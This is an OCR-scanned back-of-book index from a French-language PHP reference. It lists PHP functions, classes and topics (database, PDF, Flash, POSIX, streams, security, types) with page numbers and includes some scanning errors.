mysql_field_type, 724 
mysql_free_result, 707 
mysql_get_client_info, 729 
mysql_get_host_info, 729 
mysql_get_proto_info, 729 
mysql_get_server_info, 729 
mysqMnfo, 710 
mysql_insert_id, 704 
mysql_list_dbs, 726 
mysql_list_fields, 723 
mysql_list_processes, 728 
mysql_list_tables, 725 
mysql_num_fields, 723 
mysql_num_rows, 709 
mysqljjconnect, 700 
mysql_ping, 727 
mysql_query, 701 
mysql_result, 705 
mysql_select_db, 701 
mysql_stat, 728 
mysql_tablename, 725 
mysql_thread_id, 728 



N 



natcasesort, 193 

natsort, 192 

new, 220 

next, 188 

nl2br, 393 

number format, 347 







obstart, 288 

ob_clean, 294 

ob end clean, 292 



1433 



ob end flush 



ob_end_flush, 288 
ob_flush, 294 
ob_get_contents, 290 
ob_get_length, 293 
ob_get_level, 294 
ob_gzhandler, 289 
ob_implicit_flush, 292 
ociBindByName, 791 
ociColumnName, 810 
ociColumnSize, 811 
ociColumnType, 811 
ociCommit, 778 
ociDefineByName, 787 
ociError, 797 
ociExecute, 777 
ociFetch, 782 
ociFetchlnto, 785 
ociFetchStatement, 786 
OCILOB 

export, 793 

free, 794 

import, 793 

load, 794 

save, 793 

saveFile, 794 

writeToFile, 794 

write_temporary, 793 
ociLogoff, 779 
ociLogon, 776 
ociNewDescriptor, 793 
ociNLogon, 776 
ociNumCols, 810 
ociParse, 777 
ociPLogon, 776 
ociResult, 782 
ociRollback, 778 
ociRowCount, 790 
ociServerVersion, 812 
oci_bind_by_name, 791 
oci_close, 779 
oci_commit, 778 
oci_connect, 776 
oci_define_by_name, 787 
oci_error, 797 
oci_execute, 777 
oci_fetch, 782 
oci_fetch_all, 786 
oci_fetch_array, 784 
oci_fetch_row, 783 
oci_field_name, 810 
oci_field_size, 811 
oci_field_type, 811 
oci_new_connect, 776 
oci_new_descriptor, 793 
oci_num_fields, 810 
oci_num_rows, 790 
oci_parse, 777 
oci_pconnect, 776 



oci_result, 782 
oci_rollback, 778 
oci_server_version, 812 
octDec, 345 
odbc_autoCommit, 736 
odbc_close, 733 
odbc_close_all, 733 
odbc_columns, 757 
odbc_commit, 736 
odbc_connect, 731 
odbc_do, 733 
odbc_error, 744 
odbc_errormsg, 744 
odbc_exec, 732 
odbc_execute, 743 
odbc_fetch_into, 739 
odbc_fetch_row, 737 
odbc_field_len, 756 
odbc_field_name, 755 
odbc_field_num, 755 
odbc_field_precision, 756 
odbc_field_scale, 756 
odbc_field_type, 756 
odbc_free_result, 740 
odbc_getTypeInfo, 760 
odbc_num_fields, 755 
odbc_num_rows, 742 
odbc_pconnect, 732 
odbc_prepare, 743 
odbc_procedurecolumns, 759 
odbc_procedures, 759 
odbc_result, 737 
odbc_rollback, 736 
odbcjables, 758 
openDir, 518 
ord, 363 



parse_ini_file, 511 
passthru, 1313 
pathlnfo, 542 
pclose, 575 

pdf_add_bookmark, 1146 
pdf_add_launchlink, 1168 
pdf_add_locallink, 1166 
pdf_add_note, 1168 
pdf_add_pdflink, 1167 
pdf_add_thumbnail, 1170 
pdf_add_weblink, 1168 
pdf_arc, 1154 
pdf_arcn, 1154 
pdf_attach_file, 1171 
pdf_begin_page, 1142 
pdf_begin_template, 1178 



pdf_circle, 1153 
pdfclip, 1165 
pdf_close, 1141 
pdf_closepath, 1155 
pdf_closepath_fill_stroke, 1156 
pdf_closepath_stroke, 1156 
pdf_close_image, 1163 
pdf_concat, 1173 
pdf_continue_text, 1150 
pdf_curveTo, 1155 
pdf_delete, 1141 
pdf_end_page, 1143 
pdf_end_template, 1179 
pdfjill, 1156 
pdf_fill_stroke, 1157 
pdfJindFont, 1146 
pdf_get_buffer, 1142 
pdf_get_parameter, 1151 
pdf_get_value, 1173 
pdf_initGraphics, 1162 
pdfJineTo, 1153 
pdf_makeSpotColor, 1158 
pdf_moveTo, 1152 
pdf_new, 1141 
pdf_open_file, 1141 
pdf_open_image_file, 1163 
pdf_open_memory_image, 1165 
pdf_place_image, 1164 
pdf_rect, 1153 
pdf_restore, 1178 
pdf_rotate, 1172 
pdf_save, 1177 
pdf_scale, 1172 
pdf_setColor, 1157 
pdf_setDash, 1162 
pdf_setFont, 1147 
pdf_setLineCap, 1159 
pdf_setLineJoin, 1159 
pdf_setLine Width, 1158 
pdf_setMatrix, 1173 
pdf_setMiterLimit, 1160 
pdf_setPolyDash, 1162 
pdf_set_border_color, 1170 
pdf_set_border_dash, 1 170 
pdf_set_border_style, 1169 
pdf_set_info, 1144 
pdf_set_parameter, 1175 
pdf_set_text_pos, 1149 
pdf_set_value, 1145 
pdf_show, 1149 
pdf_show_boxed, 1150 
pdf_show_xy, 1147 
pdf_skew, 1172 
pdf_stringWidth, 1151 
pdf_stroke, 1156 
pdf_translate, 1171 
pFSockOpen, 1271 
phpinfo, 131 



1434 



stream 



pi, 330 
popen, 574 
pos, 187 

posix_ctermid, 1321 
posix_getcwd, 1320 
posix_getegid, 1318 
posix_geteuid, 1316 
posix_getgid, 1319 
posix_getgrgid, 1317 
posix_getgrnam, 1317 
posix_getlogin, 1315 
posix_getpgrp, 1319 
posix_getpid, 1320 
posix_getppid, 1320 
posix_getpwnam, 1315 
posix_getpwuid, 1314 
posix_getrlimit, 1321 
posix_kill, 1322 
posix_setegid, 1319 
posix_seteuid, 1316 
posix_setgid, 1319 
posix_setpgid, 1320 
posix_setuid, 1316 
posix_times, 1322 
posix_uname, 1322 
pow, 335 
preg_grep, 414 
preg_match, 417 
preg_match_all, 418 
preg_quote, 421 
preg_replace, 414 
preg_replace_callback, 416 
preg_split, 417 
prev, 189 
printf, 359 
private, 227, 232 
protected, 227, 232 
putEnv, 133 



Q 



quoteMeta, 386 



R 



rad2deg, 332 
rand, 340 
range, 182 
readDir, 519 
readfile, 503 
readgzfile, 583 
readLink, 557 
realPath, 543 



rename, 528 
require, 206 
require_once, 209 
reset, 188 
return, 167 
rewind, 515 
rewindDir, 524 
rmdir, 529 
round, 338 
rsort, 193 
rtrim, 399 



self, 223 
serialize, 241 

session_cache_expire, 286 
session_cache_limiter, 286 
session_decode, 284 
session_destroy, 283 
session_encode, 283 
session_get_cookie_params, 285 
session_id, 285 
session_is_registered, 287 
session_module_name, 284 
session_name, 285 
session_register, 287 
session_save_path, 284 
session_set_cookie_params, 286 
session_set_save_handler, 279 
session_unregister, 287 
session_unset, 287 
session_write_close, 287 
setCookie, 264 
setType, 122 
set_file_buffer, 517 
shell_exec, 1311 
shuffle, 198 
similar_text, 381 

simpleElement_load_string, 1238 
SimpleXMLElement 

asXML, 1240 

attributes, 1239 

children, 1239 

xpath, 1239 
simplexml_import_dom, 1238 
simplexml_load_file, 1238 
sin, 331 
sinh, 334 
sizeof, 179 
SOAP_Client, 1303 

addHeader, 1304 

call, 1304 

setEncoding, 1304 
socket_get_status, 1273 



socket_set_blocking, 1272 
socket_set_timeout, 1272 
sort, 192 
soundex, 383 
split, 429-430 
sprintf, 359 

sqlite_array_query, 815 
sqlite_busy_timeout, 835 
sqlite_changes, 834 
sqlite_close, 816 
sqlite_column, 819 
sqlite_create_aggregate, 823 
sqlite_create_function, 822 
sqlite_current, 817 
sqlite_error_string, 821 
sqlite_escape_string, 836 
sqlite_fetch_array, 816 
sqlite_fetch_single, 818 
sqlite_fetch_string, 818 
sqlite_field_name, 834 
sqlite_has_more, 819 
sqlite_last_error, 821 
sqlite_last_insert_rowid, 834 
sqlite_libencoding, 836 
sqlite_libversion, 836 
sqlite_next, 820 
sqlite_num_fields, 833 
sqlite_num_rows, 833 
sqlite_open, 813 
sqlite_popen, 814 
sqlite_query, 814 
sqlite_rewind, 820 
sqlite_seek, 820 
sqlite_udf_decode_binary, 835 
sqlite_udf_encode_binary, 835 
sqlite_unbuffered_query, 815 
sql_regcase, 430 
sqrt, 336 
srand, 340 
sscanf, 362 
stat, 554 
static, 162 
stderr, 492 
stdin, 492 
stdout, 492 
strcasecmp, 378 
strchr, 365 
strcmp, 377 
strcoll, 378 
strcspn, 375 
stream 
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dir_readdir, 627 

dir_rewinddir, 630 

mkdir, 624 
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stream_close, 611 

stream_eof, 614 

stream_open, 610 

stream_read, 613 

stream_seek, 616 

stream_stat, 619 

stream_tell, 615 

stream_write, 617 

unlink, 620 
stream_context_create, 602 
stream_context_get_default, 603 
stream_context_get_options, 605 
stream_context_set_option, 604 
stream_copy_to_stream, 607 
stream_filter_append, 599 
stream_filter_prepend, 599 
stream_get_contents, 607 
stream_get_filters, 597 
stream_get_line, 608 
stream_get_meta_data, 609 
stream_get_wrappers, 593 
stream_register_wrapper, 609 
stream_set_write_buffer, 517 
stream_wrapper_register, 610 
strftime, 439 
stripCSlashes, 387 
stripSlashes, 387 
stristr, 365 
strlen, 370 
strnatcasecmp, 380 
strnatcmp, 379 
strncasecmp, 379 
strncmp, 377 
strpos, 375 
strrchr, 365 
strrev, 405 
strrpos, 376 
strspn, 374 
strstr, 364 
strtok, 403 
strToLower, 400 
strtotime, 436 
strToUpper, 399 
strtr, 368-369 
str_pad, 402 
str_repeat, 405 
str_replace, 367 
substr, 363 
substr_count, 370 
substr_replace, 366 
SWFAction, 1131 
SWFBitmap, 1112 

getHeight, 1114 

getWidth, 1113 
SWFButton, 1129 

addAction, 1130 

addShape, 1129 

setDown, 1130 



setHit, 1130 

setOver, 1130 

setUp, 1130 
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addColor, 1107 

move, 1105 

moveTo, 1104 

multColor, 1107 

rotate, 1105 

rotateTo, 1105 

scale, 1106 

scaleTo, 1105 

setDepth, 1104 

setName, 1104 

setRatio, 1123 

skewX, 1106 

skewXTo, 1106 

skewY, 1106 

skewYTo, 1106 
SWFFill 

moveTo, 1119 

rotateTo, 1119 

scaleTo, 1119 

skewXTo, 1119 

skewYTo, 1120 
SWFFont, 1096 

getAscent, 1097 

getDescent, 1097 

getLeading, 1097 

getWidth, 1096 
SWFGradient, 1116 

addEntry, 1116 
SWFMorph, 1122 

getShapel, 1122 
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SWFMovie, 1084 

add, 1087 

nextFrame, 1086 

output, 1085 

remove, 1108 

save, 1085 

setBackground, 1088 

setDimension, 1087 

setRate, 1088 
SWFShape, 1097 

addFill, 1110 

draw Arc, 1104 

drawCircle, 1104 
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drawCubicTo, 1100 
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drawCurveTo, 1099, 1101 

drawGlyph, 1101 

drawLine, 1099 

drawLineTo, 1098 
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movePenTo, 1098 
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setRightFill, 1110 

SWFSprite, 1131 
add, 1132 
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remove, 1132 

SWFText, 1089 
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moveTo, 1090 
setColor, 1090 
setFont, 1089 
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SWFTextField, 1093 
addString, 1096 
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setlndentation, 1095 
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symLink, 527 

system, 1313 



tan, 331 
tanh, 334 
Template, 311 

finish, 317 

get_undefined, 317 

get_vars, 317 

p, 312 

parse, 313 

psubst, 316 

set_block, 315 

setjile, 313 

set_root, 316 

set_unknowns, 316 

setjvar, 312 
subst, 316 
tempNam, 527 
time, 435 
tmpfile, 493 
touch, 552 
trim, 397 
try, 235 
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uasort, 195 
ucFirst, 400 
ucWords, 400 
uksort, 196 
umask, 530 
unixToJD, 446 
unlink, 528 
unserialize, 241 
unset, 124 
usort, 194 



vPrintf, 361 
vSPrintf, 362 
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while, 152-153 
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1200 
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Jiandler, 1205 
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importStyleSheet, 1244 
transformToDoc, 1245 
transformToXML, 1245 
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SCOOKIE, 265 
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$_FILES, 534 
$_GET, 137 
$_POST, 139 
$_SERVER, 131 
$_SESSION, 272 
$GLOBALS, 161 
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$HTTP_POST_FILES, 534 
$HTTP_POST_VARS, 136, 139 
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$that, 244 
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Abstract, 234 
Accesseur, 232 
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And, 145 
Apache 

site Internet, 54 
APC, 1358 
Array, 121 
ArrayObject, 246 
Associativite, 148 
Assombrissement, 1381 
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Balise, 113 
Bibliotheques 
BCMath, 348 
Calendar, 444 
GD, 1023 
LDAP, 908 
MCAL, 450 
Ming, 1082 
PDFLib, 1139 
PHPDoc, 301 
WDDX, 1255 
Binaire, 121 
Bool, 120 
Boolean, 120 
Boucles, 148 



Cache, 1358 
Camemberts, 1023 
Catch, 235 
Client, 113 
Client-serveur, 116 
COM, 1327 
Commande ab, 1345 
Concatenation, 142 
Const, 222 
Constantes 

E_COMPILE_ERROR, 146 

E_COMPILE_WARNING, 

146 

ECOREERROR, 146 

E_CORE_WARNING, 146 

EERROR, 146 

ENOTICE, 145 

E_PARSE, 145 

EUSERERROR, 146 

EUSERNOTICE, 146 

EUSERWARNING, 146 

E_WARNING, 146 

PHPOS, 118 

PHP VERSION, 118 



TRUE, 118 
_FILE_, 118 
_LINE_, 118 

Cookie 

attributs, 263 
limites, 263 

CSV, 507 
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DB, 873 
DB_Result, 878 
Decimal, 120 
DEL, 253 

Deserialisation, 241 
Diagrammes, 1023 
Division, 140 
DNS, 1267 
Documentation, 301 
DOMAttr, 1222 
DOMDocument, 1217 
DOMElement, 1221 
DOMNode, 1220 
DOMNodeList, 1229 
DOMText, 1222 
DOMXPath, 1230 
Dossier, 519 
Double, 120 
DTD, 1188 
Dynamique, 113 
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Emails 

entetes, 963 

fichiers attaches, 966 

HTML, 965 

Plusieurs destinataires, 965 

Tester la validite, 1268 
Entetes 

Accept, 254 

Accept-Charset, 254 

Content-Encoding, 257 

Content-Language, 257 

Content-Length, 257 

Content-Type, 257 

Date, 254, 257 

Expires, 257 

From, 254 

Host, 254, 256 

Location, 257, 260 

Referer, 254 

Server, 257 



User-Agent, 254 
Entree standard, 492 
Epoch, 435 
Erreurs 

masquer les messages, 146 

niveaux d'alerte, 146 
Exception, 235 
Expat, 1192 
Extends, 230 

E_COMPILE_ERROR, 146 
ECOMPILEWARNING, 146 
ECOREERROR, 146 
ECOREWARNING, 146 
EERROR, 146 
ENOTICE, 145 
E_PARSE, 145 
E_USER_ERROR, 146 
E_USER_NOTICE, 146 
E_USER_WARNING, 146 
E_WARNING, 146 



Fichiers 

cache statistiques, 559 

date de modification, 550 

droits utilisateurs, 488 

inclure, 206 

lire les permissions, 560 

modifier les permissions, 531 

ouverture, 490 

proprietaire, 548 

renommer, 528 

supprimer, 528 

temporaires, 493 

taille, 547 

type, 544 

upload, 533 
Final, 227, 232 
Float, 120 
Flux, 593 

Contexte de ressource, 601 

file, 594 

filtres, 597 

FTP, 595 

gestionnaires, 593, 609 

HTTP, 594 

PHP, 596 
Fonctions 

recursivite, 173 

utilisateur, 171 
Form, 137 
Formats 

GD, 1023 

GD2, 1023 
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GIF, 1023 
JPEG, 1023 
PNG, 1023 
WBMP, 1023 

Formulaires 

magic quotes, 672 
retours a la ligne, 683 
selection par defaut, 682 
valeurs par defaut, 682 

Function (type), 121 



GD, 1023 
GD2, 1023 
GET, 253 
GID, 548, 1314 
GIF, 1023 



H 



Head, 253 
Heritage, 227, 229 
Hexadecimal, 120 
Histogrammes, 1023 
HTML 

form, 137 

head, 253 

input, 137 
HTTP, 253 

HyperText Transfer Protocol, 

253 

methodes, 253 
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Images, 1023 

ImageTrueColorToPalette, 1040 
Implements, 233 
Inclure 

fichier, 206 
Inclusion 

Probleme de redeclaration, 

209 
Input, 137 
Instance, 222 
Int, 120 
Integer, 120 



J 



JPEG, 1023 



Langages 

C, 30 

Perl, 30 
Langue preferee, 432 
LibXML, 1187, 1192 
Local, 162 



M 



Masque, 524 

Methodes, 216 

Mixed, 121 

Modeles 
PEAR, 318 
PHPLib, 309 

Modules 

POSIX, 1314 

Modulo, 140 

Multiplication, 140 



N 



NfosBal-, 1014 
NULL, 121 
Numeric, 121 







Obfuscation, 1381 
Object, 121 
OCILOB, 793 
Octal, 120 
Operateurs 

%, 140, 144 
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! = = , 144 
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--, 143 
-=, 143 
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.=, 143 
/, 140 
/=, 143 
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= = ,144 
= = =,144 
| , 141, 145 
!, 145 
&, 141 
&&, 145 
and, 145 
or, 145 
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dynamique, 1344 

mathematique, 1344 

quasi-statique, 1343 
Parametres 

reference, 166 
Parent, 231 
PEAR, 318 

Regies de codage, 297 
PHP 

site internet, 54 
PHP Accelerator, 1362 
PHP Guardian, 1389 
PHPDoc, 301 
PHPLib, 309 
PhpMyAdmin, 1395 
PHPOS, 118 
PHPVERSION, 118 
PNG, 1023 
POBS, 1390 
POSIX 

Fichiers, 487 
POST, 253 
Private, 227, 232 
Protected, 227, 232 
Protocoles 

HTTP, 253 
Public, 227, 232 
PUT, 253 
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Real, 120 
Repertoires 

lister le contenu, 519 
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modifier les permissions, 531 

renommer, 528 

suppression, 529 
Resource, 121 
Return, 167 

RFC (Request For Comment), 
256 



Safe_mode, 133 

Safe_mode_allowed_env_yars, 

133 

Safe_mode_protected_env_vars, 

133 

Scalar (attribut), 124 

Securite 

GET, 138 

upload, 535 

variables d'environnement, 

133 
Self, 223 
Serialisation, 241 
Serveur, 113 
SGML, 30 

SimpleXMLElement, 1240 
SOAPClient, 1303 
Sortie d'erreur, 492 
Sortie standard, 492 
Soustraction, 140 
SQL 

ALTER TABLE, 644 

CREATE DATABASE, 640 

CREATE TABLE, 643 

DELETE, 647 

DROP DATABASE, 640 

DROP TABLE, 644 

INSERT, 645 

SELECT, 648, 650 

SHOW COLUMNS, 652 

SHOW DATABASE, 651 

SHOW TABLES, 651 

UPDATE, 646 
Static, 222 
Stderr, 492 
Stdin, 492 
Stdout, 492 
Steam 

Contexte de ressource, 601 



Stream 

filtres, 597 

gestionnaires, 593, 609 
Streams, 593 
String, 120 
SWFAction, 1131 
SWFBitmap, 1112 
SWFButton, 1129 
SWFDisplayltem, 1104 
SWFFill, 1119 
SWFFont, 1096 
SWFGradient, 1116 
SWFMorph, 1122 
SWFMovie, 1084 
SWFShape, 1097 
SWFSprite, 1131 
SWFText, 1089 
SWFTextField, 1093 
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Tableaux, 121 
Templates, 309 
Tester 

le type d'une variable, 126 
Throw, 236 
Timestamp Unix, 435 
TRACE, 253 
Transtypage, 123 
TRUE, 118 
Try, 235 
Typage, 144 
Type casting, 123 
Types 

array (tableau), 121 

boolean (booleen), 120 

composes, 120 

double (reel), 120 

function, 121 

int (entier), 120 

mixed, 121 

NULL, 121 

numeric, 121 

object (objet), 121 

resource (ressource), 121 

scalaires, 120 

speciaux, 120 

string (chaine), 120 

void, 121 



UID, 548, 1314 

Umask, 530 

URL rewriting, 271 
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d'environnement, 131 

dynamiques, 119 

externes, 130 
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locales, 160 
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tester le type, 126 
Void, 121 
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WBMP, 1023 
WSDL, 1299 



X 



XML, 1187 
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Zend Accelerator, 1366 
Zend Encoder, 1381 
Zend Optimizer, 



Compose en France par Jouve 
11, bd de Sevastopol - 75001 Paris 1349 



1440 



